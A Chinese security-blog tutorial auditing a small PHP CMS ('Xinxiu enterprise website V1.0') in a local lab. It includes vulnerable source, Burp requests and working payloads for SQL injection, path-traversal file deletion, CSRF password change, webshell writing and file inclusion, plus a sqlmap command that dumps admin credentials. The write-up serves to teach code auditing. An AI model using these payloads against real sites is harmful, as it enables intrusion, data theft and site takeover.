freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP代码审计——新秀企业网站V1.0
2021-09-28 22:58:34

前言

这是面向PHP代码审计入门级别实战文章。
CMS特点:
结构较为简单,参数、函数好理解,代码不复杂,功能点齐全,有过滤、有检测但可以绕过,比较好的一套入门级别的审计源码。
参考文章:https://www.sqlsec.com/2020/01/sinsiu.html#toc-heading-1 站长真滴很不错! 在大佬的肩膀上,以更加细致的方法去复现漏洞,以及拓展漏洞。

一、环境搭建

(1) 源码下载地址

https://www.lanzoux.com/i8tj53e

phpstudy 搭建十分简单

(2) mysql语句监控

项目地址:

https://github.com/misskiki/MysqlLogmonitor

mysql_config.ini中需要配置:

这里的dbname需要修改为实际情况下的数据库名,

{
    "name": "root",
    "pass": "root",
    "port": "3306",
    "dbname": "sinsiu",
    "host": "localhost"
}

进入MySQL命令行中,输入命令开启日志,

mysql> set global general_log = 'ON';

输入命令,检测是否成功开启,ON则开启成功,此命令是暂时开启日志,重启软件需重新开启。

mysql> show variables like '%general_log';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| general_log   | ON    |
+---------------+-------+
1 row in set (0.00 sec)

python运行工具后,执行相关sql查询语句,可看见已监测到相关数据,

210925 13:15:44     2 Query     SELECT DATABASE()
2 Init DB       sinsiu
210925 13:15:58     2 Query     show tables
210925 13:16:11     2 Query     select * from php_admin

二、代码审计

(1) 伪-IP 注入

1. 成因

可以看见其对IP进行了记录, 也就是说IP输入可能可控,只要参数可控便可能存在漏洞!

2. 定位漏洞文件位置

seay搜索可能有关联的关键字:ip(,可看到get_ip()函数,

3. 分析代码

//获取客户端IP
function get_ip()
{
	if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
	{
		$ip = getenv('HTTP_CLIENT_IP');
	}elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){
		$ip = getenv('REMOTE_ADDR');
	}elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){
		$ip = $_SERVER['REMOTE_ADDR'];
	}else{
		$ip = '0.0.0.0';
	}
	if(!is_numeric(str_replace('.','',$ip)))
	{
		$ip = '0.0.0.0';
	}
	return $ip; 
}

其中,

HTTP_CLIENT_IP:可通过http头伪造
HTTP_X_FORWARDED_FOR:可通过http头伪造
REMOTE_ADDR:可能是用户真实IP也可能是代理IP
测试代码请移步:
https://blog.csdn.net/weixin_33975951/article/details/92526310

可以看见这里其实有验证,所以通过IP进行注入是不行的,

if(!is_numeric(str_replace('.','',$ip)))
	{
		$ip = '0.0.0.0';
	}

不过,我们可以去掉这段验证代码,尝试进行IP注入。

4. 伪-漏洞利用

在get_ip()函数内部设置断点,网站前台随便点点,触发记录IP的位置,如前台在线留言处,提交留言,BP抓包进行伪造,这里最好用Headers视角进行填写

发包,

伪造成功,这个后面又跟着一个IP我属实没懂是哪个的IP,而且每次都不一样,

日志监控这边,一个查询注入,一个insert注入,

select * from php_safe where saf_ip = '-1' or 1=1--, 222.77.8.12'  and saf_action = 'message'
insert into php_safe (saf_ip,saf_action,saf_time) values ('-1' or 1=1--,222.77.8.12','message','1632738270')

细心的朋友会发现,由于注释的--[空格]中的空格不见了!会出问题吗,会的,上面的语句不能正常执行,

解决方法:

法1

将payload -1' or 1=1-- 改为-1' or 1=1-- ,(后面有个逗号不要掉,目的是留住空格),这样注释的效果就出来了

法2,与法1异曲同工

将payload -1' or 1=1-- 改为-1' or 1=1-- ;

(2) 后台任意文件删除

1. 漏洞位置

漏洞代码所在文件,

\SINSIU_1_0\admin\deal.php中的del_file()
function del_file()
{
	$path = post('path');
	$flag = false;
	$dir[0] = 'data/backup/';
	$dir[1] = 'images/';
	$dir[2] = 'resource/';
	for($i = 0; $i < count($dir); $i ++)
	{
		if(substr($path,0,strlen($dir[$i])) == $dir[$i])
		{
			$flag = true;
		}
	}
	if($flag)
	{
		if(unlink($path))
		{
			$result = 1;
		}
	}
	echo isset($result)?$result:0;
}

2. 分析代码

定义三个白名单,

$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';

这段代码有、意思,目的就是判断 删除文件的路径($path)是否 是以上白名单文件夹中的,不过,这只是判断了$path的开头,后面却没有做判断,因此可以使用../来穿越目录到达任意文件删除!

for($i = 0; $i < count($dir); $i ++)
	{
		if(substr($path,0,strlen($dir[$i])) == $dir[$i])
		{
			$flag = true;
		}
	}

3. 漏洞演示

先在根目录下存放一个mm.php文件,

进入后台,点击删除并BP抓包,请求包如下,可看见path参数可控,

POST /SINSIU_1_0/admin.php?/deal/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: http://localhost
Connection: close
Referer: http://localhost/SINSIU_1_0/admin.php?/file/mod-pic_lists/
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

cmd=del_file&path=images/111.jpg

将&path=images/111.jpg改为&path=images/../mm.php,放包,数据进入debug状态,

绕过白名单检验,成功进入删除函数,mm.php被删除!

当然,任意文件删除也不止这一处位置,至少还有两个处可以绕过。

注:unlink():只能删除文件,而不能删除文件夹  ------phpcms V6.2 任意文件上传

4. 后台任意文件删除-补

后面自己审计后发现另一处漏洞,成因的话也是利用穿越目录。

测试目录:根目录下 /test,内含几个txt文件

漏洞点为删除按钮,payload为语言包名字,../是来到根目录,然后会遍历删除test目录下的所有文件、文件夹。

漏洞代码位置:\SINSIU_1_0\admin\module\file\deal.php中del_lang()函数内

if(file_exists('languages/'.$pack_name)) del_dir('languages/'.$pack_name);
很明显$pack_name可控,故触发漏洞,这里就不再累述了。

(3) 后台SQL盲注

1. 了解过滤规则

所有的POST传参都是用post()进行的,

$mes_email = post('email');
    $mes_type = post('type');
    $mes_title = post('title');
    $mes_text = post('text');
    $mes_show = post('show');

跟进post(),

function post($val,$filter = 'strict')
{
	return $filter(isset($_POST[$val])?$_POST[$val]:'');
}


跟进$filter = 'strict',这里的过滤,XSS就很难了,字符型SQL注入也难,当然,数字型注入不受影响!

//严格过滤字符串中的危险符号
function strict($str)
{
	if(S_MAGIC_QUOTES_GPC)
	{
		$str = stripslashes($str);
	}
	$str = str_replace('<','&#60;',$str);
	$str = str_replace('>','&#62;',$str);
	$str = str_replace('?','&#63;',$str);
	$str = str_replace('%','&#37;',$str);
	$str = str_replace(chr(39),'&#39;',$str);	#替换'
	$str = str_replace(chr(34),'&#34;',$str);	#替换"
	$str = str_replace(chr(13).chr(10),'<br />',$str);#替换回车
	return $str;
}

2. 漏洞演示

需要找到数字型的参数,id就大概率是的,于是要找到对用户的操作,

用Navicat连接数据库,可以确认,use_id是数字型,

通过seay,定位到可能有漏洞的函数处,

前端展示,

点击删除,BP抓包,请求包如下,

POST /SINSIU_1_0/admin.php?/deal/dir-service/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://localhost
Connection: close
Referer: http://localhost/SINSIU_1_0/admin.php?/service/mod-user_sheet/
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

cmd=del_user&id=1

将id=1改成id=-1 or 1=1,这里显然成功了,

效果,users表中数据全部删除了,也应当如此,

日志里也记录着执行的恶意代码,

这里无论是删除成功或者不成功,都是输出1,故只能用时间盲注了。

function del_user()
{
	.......
	.......
	echo 1;
}

3. 灵活利用sqlmap

站长的文章中这部分真的太精彩了,玩sqlmap可不能只会一把嗦,以前有一个SQL注入用手注有问题,然后用可以SQLmap跑出来,最后挂代理流量发到BP上看注入过程,学习到了不少,注入语句真的很强。

以下是站长的注入语句,般过来学习学习,

sqlmap -u "http://localhost/SINSIU_1_0/admin.php?/deal/dir-basic/" --cookie="PHPSESSID=adcmillfihirs730mckubbp3v4;" --data="cmd=del_admin&id=1" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

由于是后台注入,故需要携带cookie,

--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

手动指定注入参数,

-p "id"

手动指定注入类型,

--technique=T
注:默认BEUSTQ
B布尔	E报错	U联合查询	S堆叠	T时间	Q内联查询

随机伪装头部信息user-agent,这个可能有奇效,

--random-agent

显示payload,学习先进的手工注入技术,

-v 3
注:
共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

使用插件突破一点过滤,

--tamper="between"
注:
这个网站过滤了尖括号,插件作用是(NOT BETWEEN 0 AND #)替换大于号>,(BETWEEN # AND #)替换等于号=

剩下的参数就是脱裤三部曲了。

结果,数据没注出来,奇怪。

(4) 修改管理员密码 CSRF

1. 漏洞演示

点击修改密码,

点击提交,这里就没有要求输入原密码,

BP抓包,请求包如下,

POST /SINSIU_1_0/admin.php?/basic/index.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/SINSIU_1_0/admin.php?/basic/mod-admin_edit/id-3/index.html
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

cmd=edit_admin&adm_id=3&adm_password=654321&re_password=654321

BP内部右键,复制CSRF HTML,

用同一个浏览器打开,点提交按钮,模拟管理员登录了后台并点击了链接,密码成功修改,

2. 分析代码

根据cmd参数,搜索关键字edit_admin

cmd=edit_admin&adm_id=3&adm_password=654321&re_password=654321

函数所在文件路径,

\SINSIU_1_0\admin\module\basic\deal.php

函数代码,

function edit_admin()
{
	global $global,$smarty;
	$adm_id = post('adm_id');
	$adm_password = post('adm_password');
	$re_password = post('re_password');	
	$obj = new admin();
	$obj->set_where('adm_id = '.$global['admin_id']);
	$a = $obj->get_one();
	$obj->set_where('');
	$obj->set_where("adm_id = $adm_id");
	$b = $obj->get_one();
	$success = 0;
	if($obj->get_count())
	{
		if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
		{
			if(strlen($adm_password) >= 5 && $adm_password == $re_password)
			{
				$obj->set_value('adm_password',md5($adm_password));
				$obj->edit();
				$success = 1;
			}
		}
	}
	if($success)
	{
		$info_text = '修改密码成功';
		$link_text = '返回列表页';
		$link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
	}else{
		$info_text = '修改密码失败';
		$link_text = '返回上一页';
		$link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
	}
	$smarty->assign('info_text',$info_text);
	$smarty->assign('link_text',$link_text);
	$smarty->assign('link_href',$link_href);
}

可以结合debug来看代码,这样,对头发好点,很明显,这里都是对数据的处理,身份验证的措施一点没有,添加管理员的地方同样如此,照这样看来,其他很多地方都存在CSRF!

搬运可点击后自动触发效果的CSRF代码,便不需要目标点提交按钮了,当然可以加代码,使其跳转到正常页面,这些都是社工的内容了,不做重点说。

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/SINSIU_1_0/admin.php?/basic/mod-admin_edit/id-3/index.html" method="POST">
      <input type="hidden" name="cmd" value="edit&#95;admin" />
      <input type="hidden" name="adm&#95;id" value="1" />
      <input type="hidden" name="adm&#95;password" value="Passw0rd" />
      <input type="hidden" name="re&#95;password" value="Passw0rd" />
    </form>
    <script> document.forms[0].submit(); </script>
  </body>
</html>

(5) 前台SQL盲注

1. 漏洞位置

前台搜索处,

2. 分析代码

由于是前台功能,故不存在于admin目录下,盲猜在index目录下,再根据SQL查询日志中的关键字goo_title,在seay中进行全局搜索,最终定位到相关位置,

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%xxxxxx%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc
\SINSIU_1_0\index\module\search_main.php中

代码如下,

<?php
function module_search_main()
{
	global $global,$smarty;
	$global['key'] = rawurldecode($global['key']);
	$obj = new goods();
	$obj->set_field('goo_id,goo_title,goo_x_img');
	$obj->set_where("goo_title like '%" . $global['key'] . "%'");
	$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
	$len = get_varia('img_list_len');
	$obj->set_page_size($len ? $len : 12);
	$obj->set_page_num($global['page']);
	$sheet = $obj->get_sheet();
	for($i = 0; $i < count($sheet); $i ++)
	{
		$sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
	}
	set_link($obj->get_page_sum());
	$smarty->assign('search',$sheet);
}
//新秀
?>

让我们来配合debug逐段分析:

将key值进行URL解码,key就是我们搜索框输入的内容,

$global['key'] = rawurldecode($global['key']);

定义一个类,

$obj = new goods();

赋值,

$obj->set_field('goo_id,goo_title,goo_x_img');
	$obj->set_where("goo_title like '%" . $global['key'] . "%'");
	$obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));

最终的SQL查询对象已经赋值完毕,期间无任何过滤!

同时,日志中也可搜索到查询语句,其实就是$obj中各个字段的值拼接而成。

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%xxxxxxx%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc

3. 漏洞演示

明白了数据的变化过程,便可构造payload验证了,

http://localhost/SINSIU_1_0/?/search/index.html/key-%27%20or%20%27%%27=%27/

URL解码后是,这也是搜索型注入最简单的写法,

http://localhost/SINSIU_1_0/?/search/index.html/key-' or '%'='/

执行成功,

日志中查询语句,

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn'  and goo_show = 1  and goo_title like '%' or '%'='%'  and goo_channel_id = 1  order by goo_top desc,goo_index desc,goo_id desc

前台效果正常,

看日志中执行的SQL语句,有回显,满足了联合查询注入,

搜索-1' union select 111,database(),3 --[空格]

搜索内容有字数限制,可BP抓包后修改,

http://localhost/SINSIU_1_0/?/search/index.html/key--1%27%20union%20select%20111,database(),3%20--%20/

三个查询参数其实都在前端有回显位,直观得到的有两个,

图片的URL链接中也是一个回显位,

(6) 后台getshell

1. 漏洞演示

文件管理->语言设置->随便找个修改,

写入phpinfo,提交,BP抓包,

请求包如下

POST /SINSIU_1_0/admin.php?/file/index.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://localhost
Connection: close
Referer: http://localhost/SINSIU_1_0/admin.php?/file/mod-lang_edit/path-languages%2Fzh-cn%2Fadmin%2Fabout.txt/index.html
Cookie: PHPSESSID=uhecb7g0t278karljqkgfn61d6; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

cmd=edit_lang&path=languages%2Fzh-cn%2Fadmin%2Fabout.txt&lang_text=%3C%3Fphp+phpinfo%28%29%3B%3F%3E

将about.txt改为mm.php,编辑成功。

shell到手

2. 分析代码

前端URL,可定位到目录 \SINSIU_1_0\admin\module\file\lang_edit.php

http://localhost/SINSIU_1_0/admin.php?/file/mod-lang_edit/path-languages/zh-cn/admin/goods.txt/index.html

代码如下

function module_lang_edit()
{
	global $global,$smarty;
	$file_path = rawurldecode($global['path']);
	$lang_text = file_get_contents($file_path);
	$smarty->assign('lang_text',$lang_text);
	$smarty->assign('file_path',$file_path);
}

很明显,先是获取语言包文件的路径$file_path(URL中后面一串),然后$file_path进行URL解码,读出文件内容,再写回文件,无任何检验。

(7) 重装网站漏洞

如果在网站搭建后没有及时按照要求删对应文件,则访问http://localhost/SINSIU_1_0/install便可重置网站。

(8) 伪-后台文件包含漏洞

其实这个漏洞不存在,不过如果稍微删除一个限制就有了,漏洞产生的过程是值得记录的。

1. 代码展示

通过seay自动审计,先快速定位可能存在的漏洞点

漏洞代码

可以看见包含的是$path,$path可以是默认值'admin/admin.php',也可以是$path2赋值,而$path2的产生是可控的!

function main()
{
	global $global,$smarty;
	set_global();
	include_all('admin/class');
	set_more_global();
	$path = 'admin/admin.php';
	if($global['url'] != '')
	{
		$path2 = 'admin/'.$global['channel'].'.php';
		if(file_exists($path2))
		{
			$path = $path2;
		}
	}
	include($path);
}

其中set_global()函数代码如下

//设置全局变量数组
function set_global($filter = 'loose')
{
	global $global;
	$global = array();
	$global['url'] = $filter($_SERVER['QUERY_STRING']);
	if($global['url'] != '')
	{
		$arr = explode('/',$global['url']);
		$global['channel'] = $arr[1];
		....
		....
	}
}
$path2 = 'admin/'.$global['channel'].'.php';

改成,也就是把后面拼接的.php给去掉,这样漏洞就存在了,

$path2 = 'admin/'.$global['channel'];

2. 漏洞复现+分析

直接给出payload,这个payload是一步步分析得到的。其中mm.jpg是上传的照片马。

http://localhost/SINSIU_1_0/admin.php?channel=/..\images\mm.jpg

访问URL,进入函数

F7进入set_global函数,$global['url']被赋值为那一串字符串,$global['url']有值了便进入if中

explode函数作用:将$global['url']以/分割成列表元素,故payloads中要加一个/,并且是\images\mm.jpg而不是/images/mm.jpg的原因就在这里,不能用/,不然就被分割成更多的元素了,shell的路径就不完整了。

$arr = explode('/',$global['url']);

因此$arr有两个元素

将$arr列表的第1个元素赋值给$global['channel'],其中$global是全局变量,这里就是可以控制的输入点了。

$global['channel'] = $arr[1];

结束该函数,回到main()

$path2被赋值,其中$global['channel']已经被我们控制了,

$path2 = 'admin/'.$global['channel'];

$path2存在,赋值给$path

然后$path被包含,shell到手

3. 小总结

其实也尝试想绕过后面给拼接的".php",比如00截断哈哈哈。。。

穿越目录是基本操作,然后一个\绕过/的分割。

其余的地方还有很多类似的,不过都后面都拼接了.php。

三、总结

(1) SQL注入

此CMS注入点很多,集中体现中数字型的传参点,如id,原因在于过滤的规则只是针对字符型的,而忽视了数字型的。

(2) 文件处理

文件\文件内容的增删改查的检测、过滤都十分脆弱。对于穿越目录的现象没有做防护, 文件上传是采用白名单的,低版本PHP 00截断能绕过。

(3)CSRF普遍存在

无论是前台还是后台,由于代码都只是检查了cookie中user_password和user_username是否正确,没有任何防CSRF的手段。

呼~累,啥时候能加个导入MD文件的功能呀~~~

# 渗透测试 # web安全 # php代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录